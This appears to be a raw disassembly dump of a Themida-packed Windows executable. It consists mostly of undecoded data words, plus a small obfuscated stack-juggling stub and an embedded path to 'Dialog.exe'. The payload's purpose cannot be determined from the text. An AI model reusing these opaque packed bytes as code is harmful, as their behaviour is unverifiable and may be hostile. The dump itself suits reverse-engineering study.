		dd 77DBFEC5h, 75A21693h, 0BF9086F6h, 0AD1DA390h, 3BBEF382h
		dd 0DB9DBD9Fh, 11FD98FAh, 4327BC8Ch, 0F8D7h, 0BABB300h
		dd 304003DBh, 0CD169BF6h, 0F611380Bh, 0CBDC1693h, 42C1B2E4h
		dd 8FEC43D2h, 0A90A171Fh, 0AB0C2539h, 22E54F3Bh, 83446Bh
		dd 4DB00590h, 0D39DBD1Eh, 47h, 0C20EABE7h, 0DFFFD040h
		dd 130373D2h, 370E503Ah, 9086F232h, 8D6E8B9h, 0DCDA4AABh
		dd 0F21F42E3h, 0CDDE9086h, 0E3C6CAEAh, 8E7C5965h, 94FC25A0h
		dd 98FF9086h, 28582925h, 944AAF16h, 20F11086h, 7B6F55h
		dd 0AB4B0000h, 4003DB0Bh, 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah
		dd 3A5FE647h, 581693E6h, 0D80A2CE3h, 0CAB7699Bh, 0C3BCFA6Ah
		dd 70D3C3ECh, 1693502Eh, 4B7C63D6h, 0D9D78E8h, 8AEB4869h
		dd 82231C1Ah, 1693565Fh, 1C220D1Eh, 0B499DCA9h,	484E5F10h
		dd 60D02D86h, 80B15936h, 0A0A39303h, 8B17959Eh,	9E98B727h
		dd 0E3269DA1h, 8A1CA91Dh, 0F7E6D1B9h, 6777A757h, 8ED209DCh
		dd 0DABB8C1Ah, 0DB0BAB4Eh, 3DA54003h, 673816A1h, 51C1422Fh
		dd 0A40C6FC4h, 2F967CEEh, 169CB3EAh, 8EB78091h,	340A253Ah
		dd 0A4350523h, 0BA5000D5h, 6EF2F97Ch, 8DEC86B2h, 6C70992Ch
		dd 2AFB66BAh, 0A1201105h, 92F90531h, 71F8B82Bh,	0BA2A893Eh
		dd 0C60BBAA4h, 0A566BA6Ch, 0A9199F94h, 8BA8B2C1h, 817EB828h
		dd 5BCB28E9h, 72E2465Bh, 0E5D84144h, 24F161E2h,	0FA3CAC0Fh
		dd 7AA84314h, 0BB42240Fh, 10F3CFh, 4FC70000h, 0F293B68Dh
		dd 2D5A1086h, 98725DCDh, 0CA2496A6h, 0E4475C5Ah, 0D3314274h
		dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h
		dd 0EA4F6452h, 56783C7Ah, 0C681E689h, 4, 8704EE83h, 895C2434h
		dd 89572404h, 4C781E7h,	83000000h, 3C8704EFh, 1C895C24h
		dd 4D256824h, 4890000h,	0B685124h, 596D0B76h, 2B60C181h
		dd 0F1817278h, 0D999EA1Fh, 0C8BCB89h, 4C48124h,	68000000h
		dd 254h, 83242489h, 58042404h, 89DA8952h, 148B0850h, 4C48324h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_581882
; ---------------------------------------------------------------------------
		dw 1A84h
		dd 2D8795A4h, 0D7829140h, 0E4B8B2A3h, 3061A4Fh,	74E0FFC5h
		dd 0EF4B5037h, 0AA68A2FAh, 1663560Ch, 54179EE1h, 0E03809EFh
		dd 7C21BB55h, 0DE6ADCA5h, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338D2FF6h
		dd 0FFB44E60h, 0F867A5E4h, 0A08D0E22h, 2124A3BEh, 7967202Bh
		dd 0D91DA3BAh, 0D71B2026h, 338D2FFEh, 831D2933h, 0C0982633h
		dd 0BCC88AB6h, 0D6157635h, 0AF8276ADh, 510DD963h, 839E333Eh
		dd 35982664h, 1F152359h, 4B82769Dh, 381DAB63h, 39E3C63h
		dd 0AD29B3CCh, 14932026h, 6AA1A23Ch, 0B0152633h, 9C82769Dh
		dd 4DAACE63h, 0F6D82633h, 32CA3BEh, 24C82029h, 0CEC888B6h
		dd 0FF677635h, 338D091Ah, 1794E2B0h, 57C888B6h,	23157635h
		dd 558276ADh, 2C0DD963h, 3D9E333Eh, 6A982651h, 6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9C8276AFh
		dd 1C49ABBEh, 93202029h, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 61A51D1h,	51F08D8Dh
		dd 0CF2B061Ah, 8B05E983h, 0AE8C8h, 1EBD0000h, 20ADBD5Ah
		dd 0D991D965h, 91958959h, 81061533h, 71CEC1h, 68D78B00h
		dd 0
		dd 99A2F081h, 0FC5B1D1Ch, 8019348Bh, 0F68118DEh, 5459A010h
		dd 5462D081h, 0EE81469Dh, 49CDF69Fh, 1B7C681h, 0C38B69C5h
		dd 1958956h, 8F06152Dh,	81661904h, 0BAFB9DAh, 1518F595h
		dd 41EB8106h, 896C3CF2h, 152489B5h, 3DC38106h, 0F6C3CF2h
		dd 581h, 0C7816600h, 0FB81547Dh, 0FFFF8EB8h, 0FFA2850Fh
		dd 9529FFFFh, 6151431h,	5E8h, 61A7E00h,	8B667AA2h, 890F5ECAh
		dd 0
aBM		db 'Æm^',0
		align 2
aCh		db '¶–h',0
		align 10h
		dd 2FA0B900h, 665F37BAh, 34FFCB8Bh, 3266BA37h, 89584B4Ah
		dd 15272DB5h, 0C08106h,	0B7758370h, 0B9C08114h,	8B1DF480h
		dd 1513398Dh, 91E88106h, 0BA1CDC55h, 6742AF97h,	0CD8D0950h
		dd 8F061516h, 0D6803E04h, 2FDA8115h, 8349BF69h,	8D8B04EFh
		dd 615216Dh, 0A24CFF81h, 850FFFFFh, 11h, 28B18D89h, 37E90615h
		dd 0F4000000h, 0A7853A9Bh, 13E8D1h, 0D4720000h,	568C5E3Eh
		dd 0AA52F1BDh, 2F4121Bh, 74D2D5CEh, 9D958933h, 59061518h
		dd 0FFFF75E9h, 9FC165FFh, 0A294EF7Eh, 91CE8630h, 6E993E0h
		dd 5F000000h, 24D286h, 428E900h, 0F7770000h, 0C041EE87h
		dd 0F6EC550h, 0C729F69Fh, 1171BE57h, 0D4D7D4A1h, 0CE959D9h
		dd 55209017h, 7EE5EDEh,	4A2B9B18h, 0ABEE5579h, 52169CA1h
		dd 0C724AB91h, 0F0525F57h, 0BD3EF580h, 0DB58494Dh, 0B3362B6Bh
		dd 0B3367B43h, 0F16DA743h, 2784436Ah, 0F351DEB7h, 0BF3DF283h
		dd 0D55A474Fh, 0E3523165h, 5DE8F6FCh, 1086F234h, 704E6B7h
		dd 0D36035A5h, 0AF160070h, 1086F26Fh, 86C3EA8Bh, 97A81A23h
		dd 0E72A99C3h, 0F91086FEh, 899A0676h, 5841E1h, 4F550000h
		dd 0F293B68Dh, 2D5A1086h, 67585ECEh, 1271A248h,	3C29CA2h
		dd 1086F2DEh, 0A414709Dh, 0BA2A888Bh, 2DE7837Ch, 86F281C6h
		dd 6954E510h, 0A81A5DE0h, 1E397h, 24B70000h, 506155C5h
		dd 9C9581F1h, 0F66AAC1Ch, 2287406Fh, 3A77E3B2h,	704D49B9h
		dd 0AA1A999Ah, 0C6245DCBh, 0EE536056h, 1881387Eh, 83E44DA5h
		dd 402A2313h, 16FF6FD3h, 9C1EAA09h, 3A15EA2Ch, 1686E7FCh
		dd 0C0EFAA20h, 0A81C5489h, 7F9C97h, 24700000h, 536056C6h
		dd 1C9482F2h, 6BC82A95h, 40F19909h, 6CC352C2h, 8B989E0Eh
		dd 88A9B525h, 0A5A0B727h, 0EA184886h, 0F94FBDADh, 5FBA8F3Eh
		dd 0C597A8D3h, 65h, 0E2624FE1h,	9F4B4472h, 76A01072h, 0AF8FFF7Dh
		dd 3759B6A6h, 0D9E5DA4Eh, 8615276Ah, 15F5C610h,	3BAB0A17h
		dd 6FB211FBh, 0E108615h, 0E672F63Dh, 2E1F1787h,	9B01501h
		dd 3A6515D6h, 0A2170308h, 406F1A8Dh, 0E2B32387h, 0DD624F56h
		dd 2D8C7D6Dh, 0D2FA79BDh, 101086F2h, 0A61336A9h, 2E97A81Ah
		dd 1, 3DC9240Ah, 734C4ABAh, 0DE55825Ch,	9128FDACh, 849D9773h
		dd 0AEA7B727h, 725A0ACBh, 9D9773FFh, 7C0EF96h, 575F36A6h
		dd 756777A7h, 0B951C13Ch, 9BF83A0Ah, 0CA793B16h, 1693FD87h
		dd 16A15D66h, 86162F44h, 9A0A6AA9h, 137081B5h, 0DE5DD2A3h
		dd 0E163506Eh, 189B9971h, 1693E9F3h, 22A51881h,	0CF6431A1h
		dd 0A9BAFC6Ch, 1DDCDA4Ah, 0FD7E4974h, 30BDE88Dh, 0B89DBD35h
		dd 0FCh, 0BF0BABD4h, 0DCE2CD3Dh, 9BF60969h, 0B3E3B416h
		dd 28CD3DBEh, 0AC1778FBh, 1693F665h, 1E183708h,	36A605h
		dd 6A5D5049h, 6CC59909h, 0A1EC9E0Eh, 0BD1EA914h, 362F9Dh
		dd 0AB0B0000h, 4500DE0Eh, 9086F23Ch, 4DA8EEBFh,	9086F204h
		dd 410DC067h, 0B78E5080h, 1086F2B2h, 7DED4C39h,	8A6B4439h
		dd 9C0C73C0h, 0B727899Ah, 8DD2F298h, 0E6000000h, 5EFF864Fh
		dd 0F563ACBEh, 0ABDB9B15h, 5B803093h, 0ECBD169Ch, 3A5E05D2h
		dd 0F7F1EC5Dh, 0AB081913h, 0C3F05A3Bh, 0EC1DCD3Dh, 35171F8Fh
		dd 7C26F120h, 7E35FBAh,	93AE729Ch, 7A066616h, 0BE8F87F7h
		dd 318CA591h, 7600D5C1h, 8DC637C9h, 614CD35Dh, 49742582h
		dd 0E88DFD7Eh, 0F0CEFEC2h, 0B4764055h, 63E0D110h, 96A717F3h
		dd 94046BC8h, 0C82B38F6h, 0CC2D8658h, 8580AE5Ch, 0D1A5A914h
		dd 83B32385h, 2A99A58Ah, 1A8EC3ABh, 101CF9CAh, 3DB0BABh
		dd 0A1455540h, 1F172816h, 0E353183Dh, 275CBEDAh, 0F52191ECh
		dd 42C17218h, 8FEC43D2h, 0B69C171Fh, 0A73555A2h, 0B93A8D40h
		dd 0F477AC49h, 1FA19284h, 0C28C67AFh, 15B01171h, 3865C1CCh
		dd 85B19EAFh, 8B7E288h,	29CC3CBFh, 41B10C25h, 0A1927855h
		dd 84B222h, 3, 244B2F1Ch, 475C5ACAh, 314274E4h,	3E3363D3h
		dd 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h, 4F6452C2h
		dd 783C7AEAh, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68242C89h
		dd 2C48h, 52243C89h, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 0BD55242Ch, 61A5353h, 2C8BEF89h, 4C48324h, 242C8B54h
		dd 5104C483h, 4D89F989h, 240C8B08h, 0FF04C483h,	835D2434h
		dd 3C8B04C4h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 26E4E95Ch, 53D4FFFBh, 0BD1A0F5Eh, 6B3C38EDh,	1B851DFh
		dd 3061A57h, 78E0FFC5h,	4B12B2D4h, 9F04B4EAh, 18325BA5h
		dd 525DE1AEh, 0B4FE1D3h, 8D7623E4h, 1A58438Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0F88F75F0h, 1FE13FBh, 150225B5h, 218D8906h, 60061527h
		dd 25B6D18Bh, 0CD85C761h, 70061504h, 6A00006Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A0BC350h, 89455887h, 15300195h, 1585C706h, 61511h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3D88C350h, 0B5FFD2F1h,	6150595h
		dd 2C995FFh, 6AF80615h,	2195FF00h, 8B06152Eh, 0BB6AEBC0h
		dd 28AB30DDh, 20F8DE34h, 226D46C6h, 97D33C40h, 0F9D8F285h
		dd 2DD9C992h, 839FFCD2h, 356D2B29h, 2CA65AF1h, 39B54323h
		dd 7F84B43h, 642B7AE8h,	685121ADh, 0A41A8445h, 402D8795h
		dd 0A3D78291h, 33AD8EB2h, 97D6F9D4h, 0D61584AEh, 3943875Bh
		dd 75F29051h, 556B6289h, 0D90D6A5Ch, 26999BE9h,	5BC075B3h
		dd 0A8F78D59h, 3D1D9D12h, 0E1E894F2h, 0B6E87CDAh, 75B79F32h
		dd 9294566Dh, 92AC6E36h, 0B6E8E036h, 75BFBC32h,	0C2B513FBh
		dd 85316BBBh, 351D7927h, 0A3E04A8Fh, 0BF9DDF34h, 0B54552B1h
		dd 0C2E8F127h, 3DBBAB2Bh, 0B2EB45F2h, 3361FE32h, 0B0FD6CB7h
		dd 1C7622BFh, 6517D925h, 0B6BB769h, 0B0FDF49Fh,	0E6FF8F32h
		dd 0B2EB4561h, 3361FE32h, 0B0FD6CB7h, 116522BFh, 6517D925h
		dd 4469B769h, 87283AFEh, 5EBEFB58h, 0B6E8FD31h,	0E82BA012h
		dd 0B2CC0BBBh, 0B2CCFBB3h, 0B6E8DF24h, 0F82BB974h, 865F23DCh
		dd 3D3A148Bh, 0B928760Dh, 3BEB278Dh, 0B0FD564Bh, 0DC303354h
		dd 0B5008832h, 96E8EF32h, 3FB7346Dh, 37ECDF4Eh,	0AEECD976h
		dd 0F1E8FE32h, 7582BC65h, 0B9D268D1h, 0B6E8D9BBh, 0EB55DC32h
		dd 3DEEE213h, 0A3E906BFh, 0B9EC5534h, 0B6EC3DB6h, 0B0627032h
		dd 3FE8BF32h, 0A3FD3E8Fh, 43556C34h, 0B6EEE226h, 0B6C07F3Dh
		dd 1301FD32h, 0DCE8FE36h, 0B5002832h, 96E8BF32h, 3FB71C6Dh
		dd 37ECCB4Eh, 0A3ECD376h, 0F1E8FB32h, 39D23E65h, 0B2C973BBh
		dd 0B6567927h, 0DCEABF15h, 0B5008F32h, 96E8EF32h, 3FB0346Ah
		dd 37ECDF76h, 0A3ECD976h, 0F6E8FE32h, 0E6BDBC62h, 675D3452h
		dd 3FEECA01h, 0A3FBA2A7h, 33659634h, 0B0F075A2h, 0BBBD68BBh
		dd 6617F827h, 0A22DEA19h, 3B63B927h, 0B0FDFEBFh, 32E72FB7h
		dd 0B6E8F7DEh, 0A56166BBh, 8E69FB27h, 4D699865h, 0B6DCFA3Dh
		dd 2B61BF32h, 0B0FDD5B3h, 0B2906E54h, 32E7F530h, 0B6E8FF53h
		dd 5EBFFD58h, 0B6E8FE31h, 0E92B2012h, 0B2CCC3BBh, 0B2CC9BB3h
		dd 0B6E8EF26h, 8F2BA075h, 36204C3Dh, 378EF2E0h,	0B988620Ah
		dd 0B6E8E4B7h, 0E3E8D532h, 0B6E8DCDAh, 75B5CF32h, 92847E6Fh
		dd 92AC7A36h, 0B6E8E536h, 75BDBB32h, 0A399C784h, 6557B083h
		dd 5EEAA7B2h, 0B6866A3Dh, 0BC00F732h, 0CBE8FB32h, 0BA2D8367h
		dd 40A42967h, 1775568Dh, 0ECEEAA18h, 0B0905E54h, 33E74432h
		dd 0B6E8F77Eh, 5EBDFB58h, 0B6E8FD31h, 0EB2BA312h, 0B2CC13BBh
		dd 0B2CCFBB3h, 0B6E8DF28h, 142BBA77h, 7DF5E984h, 3BC33521h
		dd 0B0FDD32Fh, 0B6EB46DBh, 0E7E81532h, 0B6E8BCDAh, 75B1FF32h
		dd 92A4666Bh, 92AC7636h, 0B6E8ED36h, 75B9BC32h,	431B3D48h
		dd 0B7E97F8Ch, 9B753674h, 0B9EECA11h, 0B6E8FAB1h, 0B6F81E32h
		dd 0B73EFB32h, 2821AC82h, 0B7CC69EEh, 82BCA5C4h, 33659298h
		dd 0B0F051A2h, 5EB9EF58h, 0B6E8F731h, 0EF2BA212h, 0B2CCB1BBh
		dd 0B2CCBAB3h, 0B6E87F2Bh, 642BEE73h, 8133F844h, 8B556432h
		dd 49EEE21Ch, 1F75F0E2h, 33EEE837h, 576CF1F2h, 0FE87F30h
		dd 9748FF29h, 0BA2942BBh, 8E69E927h, 0B4EACA54h, 0B6B97E3Dh
		dd 0B682FD32h, 0B6EB1663h, 0EFC87F32h, 0FA61E6F1h, 0F269DB16h
		dd 0B6FEEB16h, 0E7A9F732h, 1AC647F1h, 0D0EE85B3h, 0B992A10Fh
		dd 0B6EA8BB6h, 0E5E8D532h, 0B6E8DCDAh, 75B3CF32h, 92B47E69h
		dd 92AC7A36h, 0B6E8E536h, 75BBBD32h, 1505A96Dh,	4B659672h
		dd 0D0EECA31h, 0D674D7B3h, 0B668723Dh, 2BE1FB32h, 0B0FDCE87h
		dd 0B4907EC7h, 0D96D70DAh, 5FE8BF32h, 0B6E8DF26h, 0F007AF59h
		dd 164CF046h, 0FD5D9E36h, 5D130DA8h, 3C40E140h,	0B090FE54h
		dd 33E77F32h, 0B6E8DF78h, 5EBFEF58h, 0B6E8F731h, 0E92BA412h
		dd 0B2CC81BBh, 0B2CCBAB3h, 0B6E87F25h, 462BE875h, 0D0B5F7D8h
		dd 5FA50088h, 0B6E8F557h, 5EBDFB58h, 0B6E8FD31h, 0EB2BA312h
		dd 0B2CC13BBh, 0B2CCFBB3h, 0B6E8DF28h, 662BBA77h, 7A862390h
		dd 0B6561D5Bh, 0DC96FC33h, 0B500A832h, 96E87F32h, 3FB67C6Ch
		dd 37ECFB46h, 0ABECCB76h, 0F0E8F732h, 0D2253864h, 91E6972Dh
		dd 19D29B51h, 0C9A5C054h, 38783ABFh, 0B682D92Ah, 0B6EB0767h
		dd 0EBC8F732h, 0DA61A6F1h, 0F269F916h, 0B6FCFA16h, 0E3AD7F32h
		dd 3613CF1h, 0B0FDC23Fh, 0B6823FCDh, 0B6EB1F67h, 0EBC8FB32h
		dd 0DA61A0F1h, 0F269FA16h, 0B6F37B16h, 0E3ADBF32h, 58AF60F1h
		dd 182F5EA1h, 0A365F846h, 5FE8FB32h, 0B6E8FD22h, 0A736C1D6h
		dd 45BF8FD4h, 0DCEEADFFh, 65CBEADh, 0BE5D6ABBh,	766DF127h
		dd 0B7A27F3Dh, 0B682FD32h, 0B6EB1663h, 0EFC87F32h, 0FA61E6F1h
		dd 0F269DB16h, 0B6FFEB16h, 0E7A9F732h, 36BC8DF1h, 5ED07D6Bh
		dd 0B6757B3Dh, 0B6827F32h, 0B6EB5763h, 0EFC8DF32h, 0FA61B6F1h
		dd 0F269F316h, 0B6F5FF16h, 0E7A9FD32h, 8A1134F1h, 6F194DE8h
		dd 5F323BB7h, 0B6E8DF21h, 50AEAE1Fh, 0A64CC09Dh, 13C5914Eh
		dd 0DC12259Fh, 0BF622C29h, 0A3E2C68Fh, 0B3903F34h, 0E66DD041h
		dd 0DCE8EF32h, 0B500A232h, 96E8FB32h, 3FB53E6Fh, 37ECDA5Eh
		dd 0A3EC5B76h, 0F3E8BF32h, 0E0561C67h, 0E5EF97B2h, 0B7EB733Dh
		dd 0B682FB32h, 0B6EB1563h, 0EFC8FE32h, 0FA6126F1h, 0F269BB16h
		dd 0B6F3DB16h, 0E7A9EF32h, 0AABFA4F1h, 0EC1C11F6h, 0CB7D74F9h
		dd 0D0EEEB31h, 0B36747B3h, 0B6923A3Dh, 2BEBDF32h, 0B0FDCE73h
		dd 70217654h, 0B0907BD8h, 0D36DF25Ah, 0DCE8FE32h, 0B5002D32h
		dd 96E8BF32h, 3FB21C68h, 37ECCB66h, 0AAECD376h,	0F4E8FB32h
		dd 38803E60h, 7A1AAF59h, 0B97D9AFFh, 378E6F8Dh,	9317D44Ah
		dd 0B6DA6A3Dh, 5168F732h, 0B6971219h, 0B682FD32h, 0B6EB1663h
		dd 0EFC87F32h, 0FA61E6F1h, 0F269DB16h, 0B6F4EB16h, 0E7A9F732h
		dd 178CA4F1h, 972B8D86h, 0B63393Dh, 0B0FD63EBh,	0B6827F19h
		dd 0B6EB3760h, 0ECC8EF32h, 0E261ADF1h, 0F269FF16h, 0B6F3F916h
		dd 0E4AAFE32h, 40DF5EF1h, 8C947F72h, 0D6012742h, 0DCE8EF32h
		dd 0B500A632h, 96E8FB32h, 3FB13E6Bh, 37ECDA7Eh,	0AAEC5B76h
		dd 0F7E8BF32h, 9F931C63h, 0C34C95A1h, 3D538A39h, 0A3EA6EBFh
		dd 0B6E94534h, 0B682FE32h, 0B6EB9767h, 0EBC8BF32h, 0DA6182F1h
		dd 0F269EB16h, 0B6F5F316h, 0E3ADFB32h, 9DC342F1h, 0CFC47A65h
		dd 3D67E8BFh, 0A3F862AFh, 8F6DF634h, 26EEFA3Bh,	0B6EF753Dh
		dd 0D088FB32h, 0AF5B3AB9h, 3F78AE53h, 0A3C5DEBFh, 4553234h
		dd 3BEEC56Ah, 0ACB7F5BFh, 0E3CB4F34h, 33EB8C54h, 0B0FDEAFFh
		dd 5F293119h, 33B65630h, 32DC96FCh, 32B500A8h, 6C96E87Fh
		dd 463FB67Ch, 7637ECFBh, 5E983CBh, 6058A4F3h, 0F585060h
		dd 0E861F6B7h, 11h, 0EC6F7DD7h,	7D97FBECh, 0E25FC4AFh
		dd 0BDCBE780h, 3D8D8B94h, 5E06152Ah, 0FE961h, 40860000h
		dd 0FE2A5430h, 0F1664E82h, 23F479A5h, 0FC00B8Bh, 5384h
		dd 0BD858900h, 8D061516h, 154F9EB5h, 0B5096006h, 61528F1h
		dd 6E9h, 0A0A5EE00h, 610FBA3Fh,	3B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 7F5CF89Ah, 0EA28D1BFh, 0D9B980B0h, 0FF734114h, 0DAB70FE6h
		dd 0D58D0140h, 8B061505h, 15021595h, 83C08B06h,	1508F5BDh
		dd 9750006h, 3ADBD83h, 74000615h, 8B535019h, 403B8C0h
		dd 85890000h, 61502A1h,	0AB059D8Dh, 0D3FF0617h,	0BD83585Bh
		dd 61503ADh, 50177400h,	403B853h, 85890000h, 61502A1h
		dd 0A7A69D8Dh, 0D3FF0617h, 6A585Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0E956F4C3h
		dd 14h,	3764654Dh, 13836943h, 14BD4BA6h, 62340C6Eh, 6027C68h
		dd 80D78159h, 6A303225h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 7268C356h, 0F583F0Eh
		dd 388h, 0CBB70F00h, 0F98BC08Bh, 0DE861h, 523F0000h, 460024F8h
		dd 13BA3BF7h, 29E1B68Fh, 150371BDh, 830F5F06h, 0
aBAd		db 'ÇAd',0
		align 2
		dw 8D8Bh
		dd 61524C5h, 0BEh, 0CDF08100h, 0FF03432Ah, 81603E34h, 9814C4CEh
		dd 959D2909h, 61061518h, 7E85Bh, 6FE80000h, 0C86DE461h
		dd 10E9F4h, 0C9110000h,	136E255Eh, 0F4C767E3h, 0A1ADE4A1h
		dd 815A6623h, 0B8677EEBh, 0CEBF0F2Eh, 996AC381h, 20B94A4Ch
		dd 814D84D3h, 59D0E7EBh, 61858B24h, 89061505h, 1B8371Ch
		dd 8B2D4AFEh, 1516FD85h, 0D7EE8106h, 0E871B39Ch, 0Ah
dword_5CFB64	dd 9A3E780Eh, 0E31BA175h, 8B66A3EFh, 0C68158D7h, 71B39CD3h
					; DATA XREF: Themida_:0057A66Co
		dd 81D08B66h, 0FF9CACFEh, 10850FFFh, 31000000h,	1511B58Dh
		dd 25E906h, 58060000h, 0F6AEAFAh, 680h,	51850100h, 0E9061516h
		dd 0FFFFFF4Fh, 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 6C4AB054h
		dd 0EE575778h, 3015711h, 0DFC20932h, 0C425239Bh, 64251393h
		dd 3001570Eh, 0D0C20154h, 22FA128Bh, 81AAAAE3h,	307D31Dh
		dd 1C305712h, 0C614417Bh, 30D9DB74h, 300159FAh,	32232812h
		dd 5949AA2Eh, 0B8E33289h, 8A94D681h, 940D6A87h,	685F0814h
		dd 33855816h, 0BB015710h, 0A582ABCBh, 0A1443E7h, 3C855812h
		dd 0EA015712h, 81015715h, 0E9472D37h, 89CE9EA2h, 30015520h
		dd 0F0545778h, 0C015711h, 5BC20A32h, 7253B9Bh, 85251393h
		dd 0C0015709h, 93C20257h, 0DE8D211Bh, 932E3B18h, 192446A7h
		dd 800EC714h, 301571Eh,	81885872h, 0A6015712h, 1B3FBA8h
		dd 2B875842h, 17015712h, 0C014291h, 60EBF12h, 0C4A25712h
		dd 0D75B56B2h, 0EEF6B4B1h, 0BA3BF9E7h, 5A9109D2h, 1BE90612h
		dd 2C015712h, 8F58944Bh, 8205735Eh, 95057356h, 81015712h
		dd 0DEAA9443h, 6BE78777h, 3C4D561Dh, 5E013DECh,	60154FAh
		dd 0C05B7712h, 0A555DE48h, 0E445D616h, 60014A16h, 0F3531512h
		dd 8EFCFDB6h, 12F2C5D9h, 0FE843A2h, 0B7015712h,	43905717h
		dd 5A6BA4ACh, 33013D4Ah, 300154FAh, 0DB5A7712h,	285DDE49h
		dd 2245D616h, 3014F16h,	42521412h, 43681425h, 600BBE01h
		dd 1E565712h, 36EE2F07h, 1E9E52CFh, 0EF2D9791h,	3015706h
		dd 6FA63BD0h, 5E32B821h, 7DAF3914h, 697A9349h, 883B4BFFh
		dd 0C6B5F99h, 602BF44h,	5D215712h, 0F58809D1h, 84805336h
		dd 60185336h, 66475712h, 68A761D1h, 6A547E77h, 8FFD1F99h
		dd 162B6A87h, 0B8803114h, 440EA824h, 600157C0h,	1B14D213h
		dd 0D9825107h, 0E538D71Bh, 6E5D21Dh, 36B5712h, 8102BF43h
		dd 99215712h, 2C880ED1h, 74805336h, 181B5336h, 5D405712h
		dd 748B88D1h, 91B368FAh, 0EB001699h, 0C3E90112h, 40015712h
		dd 0B95F944Ch, 99057366h, 1A057356h, 40015712h,	0F7F89444h
		dd 8B8258B1h, 0CF015712h, 60015390h, 0D4BB3112h, 93C9546Eh
		dd 190AEEAFh, 0F78A3114h, 69049691h, 82E90212h,	0E0015712h
		dd 0E95C944Fh, 0B105737Eh, 5057356h, 49015712h,	60BC9447h
		dd 0FACB18F4h, 70338D2Eh, 0D810CA99h, 59805107h, 0BB421C82h
		dd 184DD21Dh, 0C6B5712h, 602BF43h, 5A215712h, 0CD880ED1h
		dd 84805336h, 601C5336h, 61405712h, 72AA6DD1h, 0F69AE310h
		dd 91BB1D9h, 8E8C89ADh,	8714188Ch, 0C3B929A4h, 89015712h
		dd 30015718h, 562902FDh, 29731EDEh, 0E7FEC618h,	21F4E299h
		dd 0EB605107h, 0C3E90412h, 40015712h, 0B95A9449h, 9905734Eh
		dd 10057356h, 45015712h, 6E0F9441h, 0A6057D48h,	29FD53DBh
		dd 60015715h, 7C38C3AEh, 9509A302h, 1660DFAFh, 868CDA14h
		dd 0BB074D76h, 8093D466h, 0EEB0D221h, 0AF2A5107h, 6C03BED3h
		dd 0EE575778h, 3015711h, 0DFC20932h, 0C425239Bh, 64251393h
		dd 8301570Eh, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 7296B2C3h, 8F4FD11Ch
		dd 595760B2h, 0F6816657h, 61596BAFh, 319EDA81h,	3606264h
		dd 152775B5h, 870F06h, 61000000h, 8D8DC38Bh, 61A6581h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h
		dd 1ADC4B5h, 218D89DDh,	0C7061527h, 1504CD85h, 58D406h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0BD9460A5h, 7D78037h, 111585C7h,	615h, 8A0F0000h
		dd 6, 3C1B589h,	9D8B0615h, 61504A1h, 33A9B5FFh,	0BD8B0615h
		dd 6150CE1h, 0FFD68B66h, 1502C995h, 6820F06h, 9000000h
		dd 152EFD9Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 77C6834Fh
		dd 914166Ah, 15F632D1h,	10157690h, 2D5FE87h, 55478CA5h
		dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 3805EEAh, 56E5F46Bh
		dd 3F6118E4h, 5F101DB5h, 0DAA4B1DEh, 7E60EF8Ah,	0CE5F802Ah
		dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h,	70E9h
		dd 0C68B4400h, 5C3A4312h, 75636F44h, 746E656Dh,	6E612073h
		dd 65532064h, 6E697474h, 4D5C7367h, 69747261h, 6143206Dh
		dd 6E6F6272h, 65445C65h, 6F746B73h, 69445C70h, 676F6C61h
		dd 6578652Eh, 0Ch dup(0)
		dd 0E9BE900h, 0D3680000h, 0E9061A67h, 0FFFBE284h, 1A68E868h
		dd 0E27AE906h, 7468FFFBh, 0E9061A6Ah, 0FFFBE270h, 1A6AB368h
		dd 0E266E906h, 5868FFFBh, 0E9061A6Bh, 0FFFBE25Ch, 1A6C0368h
		dd 0E252E906h, 0E068FFFBh, 0E9061A6Fh, 0FFFBE248h, 1A725D68h
		dd 0E23EE906h, 3E68FFFBh, 0E9061A73h, 0FFFBE234h, 4D3F3E2Fh
		dd 0DDAFCEC2h, 4F413C32h, 0D3B5C8C4h, 493B4228h, 3022FCEAh
		dd 97907B4Dh, 381BE6E6h, 0CDB84345h, 4B48E0B0h,	24792E6Bh
